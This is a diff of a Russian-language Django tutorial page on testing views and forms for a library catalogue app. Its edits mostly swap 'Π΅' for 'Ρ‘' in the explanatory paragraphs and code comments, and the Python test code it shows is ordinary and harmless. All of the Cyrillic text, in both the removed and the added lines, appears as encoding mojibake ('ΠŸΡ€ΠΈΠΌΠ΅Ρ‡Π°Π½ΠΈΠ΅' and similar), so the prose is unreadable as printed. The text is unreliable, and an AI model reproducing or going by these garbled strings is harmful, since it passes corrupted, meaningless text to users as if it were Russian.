-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> ΠœΠ΅Ρ‚ΠΎΠ΄ <code>setUp()</code> создаСт ΠΊΠ½ΠΈΠ³Ρƒ с Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌ языком <code>Language</code>, Π½ΠΎ <em>ваш</em> ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π² сСбя модСль <code>Language</code>, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ это Π±Ρ‹Π»ΠΎ <em>домашним Π·Π°Π΄Π°Π½ΠΈΠ΅ΠΌ</em>. Π’ Ρ‚Π°ΠΊΠΎΠΌ случаС просто Π·Π°ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚ΠΈΡ€ΡƒΠΉΡ‚Π΅ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ строки. ΠŸΠΎΡΡ‚ΡƒΠΏΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅, посвящСнном <code>RenewBookInstancesViewTest.</code></p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> ΠœΠ΅Ρ‚ΠΎΠ΄ <code>setUp()</code> создаёт ΠΊΠ½ΠΈΠ³Ρƒ с Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌ языком <code>Language</code>, Π½ΠΎ <em>ваш</em> ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π² сСбя модСль <code>Language</code>, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ это Π±Ρ‹Π»ΠΎ <em>домашним Π·Π°Π΄Π°Π½ΠΈΠ΅ΠΌ</em>. Π’ Ρ‚Π°ΠΊΠΎΠΌ случаС просто Π·Π°ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚ΠΈΡ€ΡƒΠΉΡ‚Π΅ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ строки. ΠŸΠΎΡΡ‚ΡƒΠΏΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅, посвящённом <code>RenewBookInstancesViewTest.</code></p>
</div>
<pre class="brush: python">import datetime
@@ -611,7 +611,7 @@ class LoanedBookInstancesByUserListViewTest(TestCase):
Β  Β  Β  Β  self.assertTemplateUsed(resp, 'catalog/bookinstance_list_borrowed_user.html')
</pre>
-<p>Если ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ Π·Π°Π»ΠΎΠ³ΠΈΡ€ΠΎΠ²Π°Π½ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ Π² Ρ‚ΠΎΠΌ Ρ‡Ρ‚ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅Ρ‚ Π½Π° страницу Π²Ρ…ΠΎΠ΄Π° (логирования), ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>assertRedirects</code>, Ρ‡Ρ‚ΠΎ продСмонстрировано Π² ΠΌΠ΅Ρ‚ΠΎΠ΄Π΅ <code>test_redirect_if_not_logged_in()</code>. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ осущСствляСм Π²Ρ…ΠΎΠ΄ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ провСряСм Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ статус <code>status_code</code> Ρ€Π°Π²Π΅Π½ 200 (ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ).Β </p>
+<p>Если ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ Π·Π°Π»ΠΎΠ³ΠΈΡ€ΠΎΠ²Π°Π½ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ Π² Ρ‚ΠΎΠΌ Ρ‡Ρ‚ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘Ρ‚ Π½Π° страницу Π²Ρ…ΠΎΠ΄Π° (логирования), ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>assertRedirects</code>, Ρ‡Ρ‚ΠΎ продСмонстрировано Π² ΠΌΠ΅Ρ‚ΠΎΠ΄Π΅ <code>test_redirect_if_not_logged_in()</code>. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ осущСствляСм Π²Ρ…ΠΎΠ΄ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ провСряСм Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ статус <code>status_code</code> Ρ€Π°Π²Π΅Π½ 200 (ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ).Β </p>
<p>ΠžΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ тСсты ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‚, соотвСтствСнно, Ρ‡Ρ‚ΠΎ нашС ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ ΠΊΠ½ΠΈΠ³ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ взяты Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ. Π‘ΠΊΠΎΠΏΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΊΠΎΠ΄, ΠΏΠΎΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅, Π² ниТнюю Ρ‡Π°ΡΡ‚ΡŒ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ класса.</p>
@@ -678,7 +678,7 @@ class LoanedBookInstancesByUserListViewTest(TestCase):
<h4 id="ВСстированиС_Ρ„ΠΎΡ€ΠΌ_ΠΈ_ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ">ВСстированиС Ρ„ΠΎΡ€ΠΌ ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ</h4>
-<p>ΠŸΡ€ΠΎΡ†Π΅ΡΡ тСстирования ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ слоТСн, Ρ‡Π΅ΠΌ Π² прСдставлСнных Ρ€Π°Π½Π΅Π΅ случаях, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π²Π°ΠΌ Π½Π°Π΄ΠΎ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ большСС количСство ΠΊΠΎΠ΄Π°: Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ состояниС ΠΏΠΎΠΊΠ°Π·Π° Ρ„ΠΎΡ€ΠΌΡ‹, ΠΏΠΎΠΊΠ°Π· Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈ Π΅Π΅ Π΄Π°Π½Π½Ρ‹Ρ… Π² случаС ошибок, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠΊΠ°Π· Ρ„ΠΎΡ€ΠΌΡ‹ Π² случаС успСха. Π₯ΠΎΡ€ΠΎΡˆΠ΅ΠΉ Π½ΠΎΠ²ΠΎΡΡ‚ΡŒΡŽ являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ примСняСм ΠΊΠ»ΠΈΠ΅Π½Ρ‚ для тСстирования практичСски Ρ‚Π΅ΠΌ ΠΆΠ΅ способом, ΠΊΠ°ΠΊ ΠΌΡ‹ Π΄Π΅Π»Π°Π»ΠΈ это Π² случаС ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡ‚Π²Π΅Ρ‡Π°ΡŽΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π·Π° Π²Ρ‹Π²ΠΎΠ΄ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.</p>
+<p>ΠŸΡ€ΠΎΡ†Π΅ΡΡ тСстирования ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ слоТСн, Ρ‡Π΅ΠΌ Π² прСдставлСнных Ρ€Π°Π½Π΅Π΅ случаях, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π²Π°ΠΌ Π½Π°Π΄ΠΎ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ большСС количСство ΠΊΠΎΠ΄Π°: Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ состояниС ΠΏΠΎΠΊΠ°Π·Π° Ρ„ΠΎΡ€ΠΌΡ‹, ΠΏΠΎΠΊΠ°Π· Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈ Π΅Ρ‘ Π΄Π°Π½Π½Ρ‹Ρ… Π² случаС ошибок, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠΊΠ°Π· Ρ„ΠΎΡ€ΠΌΡ‹ Π² случаС успСха. Π₯ΠΎΡ€ΠΎΡˆΠ΅ΠΉ Π½ΠΎΠ²ΠΎΡΡ‚ΡŒΡŽ являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ примСняСм ΠΊΠ»ΠΈΠ΅Π½Ρ‚ для тСстирования практичСски Ρ‚Π΅ΠΌ ΠΆΠ΅ способом, ΠΊΠ°ΠΊ ΠΌΡ‹ Π΄Π΅Π»Π°Π»ΠΈ это Π² случаС ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡ‚Π²Π΅Ρ‡Π°ΡŽΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π·Π° Π²Ρ‹Π²ΠΎΠ΄ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.</p>
<p>Π’ качСствС дСмонстрации Π΄Π°Π²Π°ΠΉΡ‚Π΅ напишСм Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ тСсты для отобраТСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡ‚Π²Π΅Ρ‡Π°ΡŽΡ‚ Π·Π° ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ ΠΊΠ½ΠΈΠ³(<code>renew_book_librarian()</code>):</p>
@@ -694,7 +694,7 @@ def renew_book_librarian(request, pk):
Β  Β  # Если это POST-запрос, Ρ‚ΠΎΠ³Π΄Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌΡ‹
Β  Β  if request.method == 'POST':
-Β  Β  Β  Β  # Π‘ΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π΅Π΅ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΈΠ· запроса (связываниС/Π±ΠΈΠ½Π΄ΠΈΠ½Π³):
+Β  Β  Β  Β  # Π‘ΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π΅Ρ‘ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΈΠ· запроса (связываниС/Π±ΠΈΠ½Π΄ΠΈΠ½Π³):
Β  Β  Β  Β  form = RenewBookForm(request.POST)
Β  Β  Β  Β  # ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° валидности Ρ„ΠΎΡ€ΠΌΡ‹:
@@ -706,7 +706,7 @@ def renew_book_librarian(request, pk):
Β  Β  Β  Β  Β  Β  # ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ ΠΏΠΎ URL-адрСсу:
Β  Β  Β  Β  Β  Β  return HttpResponseRedirect(reverse('all-borrowed') )
-Β  Β  # Если это GET-запрос (ΠΈΠ»ΠΈ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΅Ρ‰Π΅), Ρ‚ΠΎ создаСм Ρ„ΠΎΡ€ΠΌΡƒ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ
+Β  Β  # Если это GET-запрос (ΠΈΠ»ΠΈ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΅Ρ‰Ρ‘), Ρ‚ΠΎ создаём Ρ„ΠΎΡ€ΠΌΡƒ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ
Β  Β  else:
Β  Β  Β  Β  proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3)
Β  Β  Β  Β  form = RenewBookForm(initial={'renewal_date': proposed_renewal_date,})
@@ -715,7 +715,7 @@ def renew_book_librarian(request, pk):
<p>Нам Π½Π°Π΄ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ Ρ‡Ρ‚ΠΎ ΠΊ Π΄Π°Π½Π½ΠΎΠΌΡƒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ ΠΈΠΌΠ΅ΡŽΡ‚ доступ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Ρ‚ΠΈΠΏΠ° <code>can_mark_returned</code>, Π° ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ Π½Π° страницу ошибки HTTP 404Β  Ссли ΠΎΠ½ΠΈ ΠΏΡ‹Ρ‚Π°ΡŽΡ‚ΡΡ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ экзСмпляр ΠΊΠ½ΠΈΠ³ΠΈΒ  <code>BookInstance</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ сущСствуСт. ΠœΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ Ρ‡Ρ‚ΠΎ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ„ΠΎΡ€ΠΌΡ‹ соотвСтствуСт Π΄Π°Ρ‚Π΅ Ρ‡Π΅Ρ€Π΅Π· 3 Π½Π΅Π΄Π΅Π»ΠΈ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ, Π° Ρ‚Π°ΠΊΠΆΠ΅ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Ссли Ρ„ΠΎΡ€ΠΌΠ° ΠΏΡ€ΠΎΡˆΠ»Π° Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΡŽ, Ρ‚ΠΎ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΠΌ Π½Π° страницу отобраТСния ΠΊΠ½ΠΈΠ³ "all-borrowed" (Π·Π°Π±Ρ€ΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ…). Для тСстов, ΠΎΡ‚Π²Π΅Ρ‡Π°ΡŽΡ‰ΠΈΡ… Π·Π° ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ "ΠΏΡ€ΠΎΠ²Π°Π»ΠΎΠ²", ΠΌΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ΄ΠΎΡΡ‚ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒΡΡ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ сообщСния ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ….</p>
-<p>Π’ ниТнюю Ρ‡Π°ΡΡ‚ΡŒ Ρ„Π°ΠΉΠ»Π° <strong>/catalog/tests/test_views.py</strong> Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ класс тСстирования (ΠΏΠΎΠΊΠ°Π·Π°Π½ Π²ΠΎ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π΅, Π½ΠΈΠΆΠ΅). Он создаСт Π΄Π²ΡƒΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΈ Π΄Π²Π° экзСмпляра ΠΊΠ½ΠΈΠ³ΠΈ, Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΉ доступ ΠΊ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌΡƒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ. Код, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ "присваиваСт" ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ доступ, Π²Ρ‹Π΄Π΅Π»Π΅Π½ Π² ΠΊΠΎΠ΄Π΅ ΠΆΠΈΡ€Π½Ρ‹ΠΌ:</p>
+<p>Π’ ниТнюю Ρ‡Π°ΡΡ‚ΡŒ Ρ„Π°ΠΉΠ»Π° <strong>/catalog/tests/test_views.py</strong> Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ класс тСстирования (ΠΏΠΎΠΊΠ°Π·Π°Π½ Π²ΠΎ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π΅, Π½ΠΈΠΆΠ΅). Он создаёт Π΄Π²ΡƒΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΈ Π΄Π²Π° экзСмпляра ΠΊΠ½ΠΈΠ³ΠΈ, Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΉ доступ ΠΊ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌΡƒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ. Код, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ "присваиваСт" ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ доступ, Π²Ρ‹Π΄Π΅Π»Π΅Π½ Π² ΠΊΠΎΠ΄Π΅ ΠΆΠΈΡ€Π½Ρ‹ΠΌ:</p>
<pre class="brush: python">from django.contrib.auth.models import Permission # Required to grant the permission needed to set a book as returned.
@@ -750,7 +750,7 @@ class RenewBookInstancesViewTest(TestCase):
return_date= datetime.date.today() + datetime.timedelta(days=5)
self.test_bookinstance2=BookInstance.objects.create(book=test_book,imprint='Unlikely Imprint, 2016', due_back=return_date, borrower=test_user2, status='o')</pre>
-<p>Π’ ниТнюю Ρ‡Π°ΡΡ‚ΡŒ класса тСстирования Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ (ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π°). Они ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‚, Ρ‡Ρ‚ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ с ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ доступом (<em>testuser2</em>) ΠΈΠΌΠ΅Π΅Ρ‚ доступ ΠΊ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ. ΠœΡ‹ провСряСм всС случаи: ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ залогинился, ΠΊΠΎΠ³Π΄Π° залогинился, Π½ΠΎ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ доступа, ΠΊΠΎΠ³Π΄Π° ΠΈΠΌΠ΅Π΅Ρ‚ доступ, Π½ΠΎ Π½Π΅ являСтся Π·Π°Π΅ΠΌΡ‰ΠΈΠΊΠΎΠΌ ΠΊΠ½ΠΈΠ³ΠΈ (тСст Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΌ), Π° Ρ‚Π°ΠΊΠΆΠ΅, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ Ссли ΠΏΠΎΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΊΠ½ΠΈΠ³Π΅ <code>BookInstance</code> ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π½Π΅ сущСствуСт. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΌΡ‹ провСряСм Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ (Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΉ) шаблон.</p>
+<p>Π’ ниТнюю Ρ‡Π°ΡΡ‚ΡŒ класса тСстирования Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ (ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π°). Они ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‚, Ρ‡Ρ‚ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ с ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ доступом (<em>testuser2</em>) ΠΈΠΌΠ΅Π΅Ρ‚ доступ ΠΊ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ. ΠœΡ‹ провСряСм всС случаи: ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ залогинился, ΠΊΠΎΠ³Π΄Π° залогинился, Π½ΠΎ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ доступа, ΠΊΠΎΠ³Π΄Π° ΠΈΠΌΠ΅Π΅Ρ‚ доступ, Π½ΠΎ Π½Π΅ являСтся Π·Π°Ρ‘ΠΌΡ‰ΠΈΠΊΠΎΠΌ ΠΊΠ½ΠΈΠ³ΠΈ (тСст Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΌ), Π° Ρ‚Π°ΠΊΠΆΠ΅, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ Ссли ΠΏΠΎΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΊΠ½ΠΈΠ³Π΅ <code>BookInstance</code> ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π½Π΅ сущСствуСт. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΌΡ‹ провСряСм Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ (Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΉ) шаблон.</p>
<pre class="brush: python"> Β  def test_redirect_if_not_logged_in(self):
Β  Β  Β  Β  resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}) )
@@ -796,7 +796,7 @@ class RenewBookInstancesViewTest(TestCase):
Β  Β  Β  Β  self.assertTemplateUsed(resp, 'catalog/book_renew_librarian.html')
</pre>
